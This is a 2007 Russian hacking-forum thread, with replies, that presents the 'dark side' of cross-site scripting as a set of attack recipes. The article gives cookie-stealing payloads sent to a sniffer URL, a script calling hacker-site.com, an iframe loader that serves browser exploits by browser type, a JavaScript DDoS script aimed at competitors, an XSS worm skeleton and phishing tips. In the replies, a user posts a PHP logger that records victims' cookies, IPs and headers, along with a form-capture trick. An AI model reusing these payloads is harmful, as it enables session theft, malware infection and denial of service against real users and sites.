Авторские статьи Темная сторона Xss

Discussion in 'Статьи' started by Constantine, 16 Jun 2007.

  1. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Интро
    Статья уже давно готовилась мной, ее предтече стало ВОТ ЭТО голосование, в котором многие заявили что xss это уязвиость вчеращнего дня, сейчас я попытаюсь опровергнуть это утверждение Основная масса людей считают что xss может использоваться только для кражи cookies, либо исключительно ради эстетического удовольствия лицезрения красивых окошек с различными надписями))
    В этой статье я не буду рассматривать сложные xss вектора и не буду расписывать различные способы обхода фильтрации, различные формы построения вектора, вложенные скрипты- обо всем этом можно почитать совершив поиск по форуму

    План

    Говорить будем по следующему плану, постораюсь осветить все хитрости cross site scripting

    1)Кража куков
    2)Фейк\Дефейсы
    3)Троянизация удаленного юзера
    4)ДДос
    5)xss черви
    6)Менее используемые методы

    Мэйн

    1
    Итак самое распространенный и самое юзаемый вид xss атак:
    Интеграция xss вектора( читай яваскрипт кода ), который выполняясь в браузере клиента отсылает куки на снифер, далее происходит подмена авторизационных данных, ну а дальше Садом и Гомора на любой вкус)) (читай - делай что хочешь)

    Напомню самые простые конструкции xss векторов приминимых в любом браузере

    Code:
    <script>document.location="SNIFFER"+document.cookie</script>
    <script>img=new Image();img.src="SNIFFER"+document.cookie</script>
    2
    Некотрые просто уверены, что кроме шутливого дефейса ничего сделать нельзя Что ж иногда даже в таком дефейсе есть некий шарм, например деф сделаный мной на каком то кинемотографическом портале Вектор можно посмотреть здесь:
    PHP:
     http://c0nstantine.jino-net.ru/xss.txt
    Кому то может показаться забавным, но вот поддельная новость на сайти Файненшанал таймс ( xss там есть ), это уже будет не очень смешно

    С другой строны фейк метод позволяет получить вожделенный пароль не очень опытного пользователя. Чаще всего юзается такой способ: пользователь редиректится на фейковую страничку, предворительно подготовленную, с схожим с основным ресурсом урлом (например ranbler). С другой стороны, даже в известном журнале Хацкер, упоминали о возможной подмене адресной строки в браузере по средствам нами любимого Яваскрипта, что заметно улучшает внешний вид фейка(http://www.securitylab.ru/vulnerability/291585.php)))
    Так же можно действовать методом связаных xss веторов, вообщем действуйте по обстоятельствам

    С другой стороны можно использовать обьект яваскрипт - XMLHTTPrequeset, в таком случае работает php снифер и сформированый xss вектор, который с поомощью XMLHTTPrequeset передает интересующую нас информацию об удаленном пользователе:

    Code:
    function HTTPRequest (url)
    
    {
    
    if (window.XMLHttpRequest) {
    
    req = new XMLHttpRequest();
    
    req.onreadystatechange = processReqChange;
    
    req.open("GET", url, true);
    
    req.send(null);
    
    } else if (window.ActiveXObject) {
    
    req = new ActiveXObject("Microsoft.XMLHTTP");
    
    if (req) {
    
    req.onreadystatechange = processReqChange;
    
    req.open("GET", url, true);
    
    req.send();
    
    }
    
    }
    
    return (req.responseText);
    
    }
    
    
    var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php");


    3
    Пожалуй наиболее опасный способ использования xss: Троянизация производится посредством использования эксплойтов для популярных браузеров. Чтобы убить сразу двух зайцев, используем уже приевшийся Яваскрипт)). А именно navigator.appNAME.
    Составляем приблизительно следующий вектор:
    Code:
    <script language="JavaScript">
    if(navigator.appName == 'Браузер1')document.write('<iframe src="сплойт для бразуера1">');
    if(navigator.appName == 'Браузер2')document.write('<iframe src="сплойт для бразуера2">');
    if(navigator.appName == 'Браузер3')document.write('<iframe src="сплойт для бразуера3">');
    </script>
    можно юзать какие-то более изысканные конструкции, но, имхо, так вполне функционально, понятно что этот вектор слишком грамоздкий чтобы его интегрировать в тело документа напрямую: создаем файлик blabla.js с данным кодом и далее используем конструкцию:
    PHP:
    <script src="http://oursite/blabla.js"></script>
    Если речь идет о работе только с одним видом браузера, то можно использовать облегченную конструкцию
    PHP:
    <iframe src="сплойт для браузера"></script>


    4
    ДДос(мемберы МОА и выше не читают этот раздел=)))

    Сразу надо оговориться, что для использования такого типа ДДоса и получения "неформального" ботнета, страничка с интегрированым кодом должна быть достаточно посещаемой =)
    Используем тот же метод что и во втором пункте

    Code:
    <script language="javascript">
    var req;
    var targets = new Array("http://конкурент1","http://конкурент2");// Создаем массив, куда помещаем будущих неудачников 
    function SendHTTP(url) {
        req = false;
        if (window.XMLHttpRequest) { //  не ИЕ
            req = new XMLHttpRequest();
        } else if (window.ActiveXObject) { // ИЕ
            req = new ActiveXObject("Microsoft.XMLHTTP");
        }
        if (req) {
                req.open("GET", url, true);
                req.send();
        }
    }
    function terror() {
         for (i=0;i<targets.length;i++) {
              SendHTTP(targets[i]);
              }
    }
    </script>
    Так же создаем файлик с данным кодом и инжектим вектор с помощью
    PHP:
    <script src="http://oursite.ru/zloy.js"></script>
    5
    xss черви очень любопытный вид xss атаки, все же требует использования активных xss: перманентное размещение на сервере и отсутствие необходимости рекламить страничку с интегрированым кодом, а ваш заикссесеный профиль или тему будут просматривать гораздо чаще, чем сформированый и разосланый линк(хотя тоже можно юзать). Естественно каждый попавший в заиксесенную ловушку выполнит в браузере злонамеренный код, фокус червя в том, что он вдобавок ко всему может сам себя постить на форуме или в блоге, снова

    используем XMLHttpRequest.


    Code:
    function HTTPRequest (url)
    
    {
    
    if (window.XMLHttpRequest) {  // не ИЕ
    
    req = new XMLHttpRequest();
    
    req.onreadystatechange = processReqChange;
    
    req.open("GET", url, true);
    вы
    req.send(null);
    
    
    } else if (window.ActiveXObject) {  //ИЕ
    
    req = new ActiveXObject("Microsoft.XMLHTTP");
    
    if (req) {
    
    req.onreadystatechange = processReqChange;
    
    req.open("GET", url, true);
    
    req.send();
    
    }
    
    }
    
    }



    При этом ничто не мешает совместит DDos атаки и код xss червя...
    Внедряем в код xss вектора скрипт для отправки сообщений и вот пошла рассылка спама. Вообщем делайте что в голову всбредет и до чего руки дотянутся. Благо все выложенные мной скрипты публичны и скомбинировать их, создать цепочки выполняемых кодов врят ли составит труда.

    6

    Напоследок несколько слов о наименее используемых видах атак, вкратце.

    Раскрутка заказного сайта: соответсвенно реализуеться так же как и ДДос
    Подмена личной информции пользователя: в теории то возможно, сейчас пытаюсь понять реализацию, как только разберусь- допишу


    Энд


    В качестве финального слова скажу, что использования активных xss более уместно при выполнение какого то из этих пунктов.

    Спасибо за внимание

    Снял видео по теме, можно посмотреть
    PHP:
     http://filefront.jino-net.ru/xss.rar 
     
    #1 Constantine, 16 Jun 2007
    Last edited: 26 Mar 2008
    32 people like this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Ничего нового не узнал...
    Про ддос вообще бред...сколько же надо лохов найти =\
    Да и все что здесь написано также можно найти с помощью поиска
     
    1 person likes this.
  3. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    насчет ддос,
    если страничка посещаемая, то вместо твоего скрипта проще засунуть эксплойт и лить exe с ботом посетителям
    что за бред...
     
    1 person likes this.
  4. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    автор в пункте 3 написал как-то об этом..
     
  5. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Насчет ДДос, мой яваскрипт выполниться в любом браузере, а вот достать экспойт с хорошим пробивом даже для IE сейчас трудновато =\
     
  6. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Тема не освещена и на 50 процентов , иди дорабатывай.
     
    2 people like this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Тема сисек не раскрыта. Бузя раскрыл лучше
     
    1 person likes this.
  8. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Кстати зря насчет ддос через фреймы ругались... Неплохо работает
     
  9. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    А что уже можно с помощью XMLHttpRequest() делать запросы на "чужой" сайт? В смысле со страницы http://ya.ru c помощью этого объекта делать запросы на http://xacker.com?

    uncaught exception: Permission denied to call method XMLHttpRequest.open

    P.S. XSS вектор - какое-то странное определение...имхо
     
    #9 pento, 16 Jun 2007
    Last edited: 16 Jun 2007
  10. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Чтобы получить информацию от пользователя зарегестрированного на http://ya.ru, тебе нужна xss непосредственно на ya.ru
    Открой учебник по Яваскрипту и почитай про обьект XMLHttpRequest
    Xss вектор это оригинальное определение, оно мне нраится, я считаю его подходящим
     
    3 people like this.
  11. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    За статью +, но есть некоторые замечания
    Так и не увидел опровержения утверждения, ничего нового.
    Все тоже самое достаточно хорошо и более подробно описано здесь http://forum.antichat.ru/threadedpost386598.html#post386598
    А сам опять про это пишешь...
    Да, кстати, а что есть светлая сторона xss? ;)
     
  12. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    про ддос через xss это не бред. В свое время один человек запустил такую штуку на mail.ru . Т е там был xss скрипт полсле открытия письма которые рассылался по контактам и плюс создавал кучу конетков к сайту. В то время кстати мне пришлось доказывать маил ру что это вирус.
     
  13. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    а что такое по-твоему xss-вектор? мне кажется ты нескольно неверно уяснил для себя значение этого слова..

    насчет ддос - это не бред, я как-то хотел раскрутить один сайтик и немного не расчитав, ненадолго убил его.. )
    кстати, с помощью xss ведь можно устроить и просто дос-атаку..
     
    1 person likes this.
  14. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Как я понимаю, xss вектор- это непосредственно яваскрипт код, который выполняется в браузере жертвы, т.е
    <script>alert('xss')</script> - alert('xss')- xss вектор
     
    6 people like this.
  15. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Вообще то про ддос - это не бред, это реально но ее воплотить будет трудновато.
     
  16. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    вообще то ДДос реализовать проще чем можно подумть на первый взгляд, особенно если xss на более менее популярной страничке
     
    1 person likes this.
  17. Titop

    Titop New Member

    Joined:
    20 Sep 2007
    Messages:
    16
    Likes Received:
    2
    Reputations:
    1
    xчувак,перезалей видео плз,я никак не вьезжаю=)буду благадарен
     
    1 person likes this.
  18. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    И все же вопрос про XMLHttpRequest. про то что работа с удаленным сервером не получится - это понятно. но ни как не могу понять как получить пост и гет. куки и $_SERVER передаются, а вот пост и гет ну ни как. подскажите что нужно дополнить в код
    Code:
    <script type="text/javascript">
    
    function processReqChange() {
        //document.form.state.value = stat(req.readyState); 
     
     
        if (req.readyState == 4) {
          //  clearTimeout(reqTimeout);
     
          //  document.form.statusnum.value = req.status; 
         //   document.form.status.value = req.statusText; 
     
            // only if "OK"
            if (req.status == 200) {
           //     document.form.response.value=req.responseText;
            } else {
                alert("Не удалось получить данные:\n" + req.statusText);
            }}}
    
    function HTTPRequest (url)
    {
    if (window.XMLHttpRequest){
    req = new XMLHttpRequest();
    req.onreadystatechange = processReqChange;
    req.open("POST" | "GET", url, true);
    req.send(null);
    }else if (window.ActiveXObject){
    req = new
    ActiveXObject("Microsoft.XMLHTTP");
    if (req){
    req.onreadystatechange = processReqChange;
    req.open("POST" | "GET", url, true);
    req.send();
    
    }
    }
    return (req.responseText);
    
    }
    var XSSCode = HTTPRequest ("pro.php");
    </script>
    
    <FORM action="form.php" method="POST">
      <input type="text" name="text">
    <input type="submit">
    </FORM>
    файл php:

    Code:
    <?php
    $time = date("M j G:i:s T Y");
    $cook = "";
    while (list($key,$value)=each($_COOKIE)) {
     $cook = $cook . $key . ':' . $value . "\n";
     }
    $client = "=====================" . $time . "========================== \n
    Client ip: ". $_SERVER['REMOTE_ADDR'] . "\n
    Client dns: ". $_SERVER['REMOTE_HOST'] . "\n
    X-Forwarded-for: ". $_SERVER['HTTP_X_FORWARDED_FOR'] . "\n
    Via: ". $_SERVER['HTTP_VIA'] . "\n
    COOKIE: ". $cook . "\n
    -----------------POST DATA--------------------\n";
    $xss = $_GET;
    $que = "";
    $filename = "somefile.txt";
    while (list($key,$value)=each($xss)) {
     $que = $que . $key . ':' . $value . "\n";
     }
    $pos = $que . "=============================================== \n";
    $data = $client . $pos;
    //print_r ($xss);
    // Если файл существует и в него возможна запись
    
    if ( is_writeable($filename) ) :
    
    // Открыть файл и установить указатель текущей позиции в конец файла
    
    $fh = fopen($filename, "a+");
    
    // Записать содержимое $data в файл
    
    @fwrite($fh, $data);
    
    // Закрыть файл
    
    fclose($fh); else :
    
    print "Could not open Sfilename for writing";
    
    endif; 
    
    ?>
     
  19. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Вроде понял где у меня ошибка:
    Я думал данные отправленные из формы будут дублированы по XMLHttpRequest, но оказывается нужно явно указывать params. Я правильно понял? то есть теперь необходимо из формы взять данные и вставить в params. А как можно это сделать не модифицируя саму форму? Спасибо и с меня +)
     
  20. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Такс. в общем провел нужный мне аудит, думаю можно рассказать каким образом провел свою xss.
    Так как полного раскрытия темы не нашел ни здесь ни в гугле - думаю может кому то еще пригодится, а может кто то подскажет как можно еще более эффективно юзать xmlhttprequest ;) и так
    ко всему выше сказанному необходимо получение данных из формы. я использовал объект document.form1.text.value
    и вот тут необходимо вызвать действие при сабмите. а модифицировать форму не могу. Пришла на выручку особенность всех браузеров обрабатывать в документе body несколько раз! И таким образом прописав в середине
    HTML:
    </body>
    <body onunload="HTTPRequest ('/dirupload/simple.php?')">
    <script type="text/javascript" src="/dirupload/script.jpg"></script>
    Ну а прояснить все нюансы помгла инфа вот здесь
    http://xmlhttprequest.ru/
    Полностью доступным языком описан данный объект

    ЗЫ
    Говорят есть обход ограничения выполнения на локалхосте. но не было времени с этим разобраться.